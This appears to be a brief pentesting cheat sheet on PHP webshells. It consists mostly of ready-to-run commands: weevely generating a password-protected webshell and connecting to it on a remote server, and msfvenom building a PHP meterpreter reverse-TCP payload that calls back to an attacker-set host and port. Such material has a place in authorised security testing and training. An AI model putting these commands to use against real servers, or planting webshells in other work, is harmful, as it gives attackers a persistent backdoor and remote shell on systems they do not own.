Webshells
PHP
These are the most common types of shells we'll be turning to, as like it or not, PHP is probably the most common type of web server application.
weevely
Using weevely we can create php webshells:
weevely generate password /root/webshell.php
Now we execute it, point it to the remote page and get a shell in return:
weevely "http://192.168.1.101/webshell.php" password
msfvenom
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.php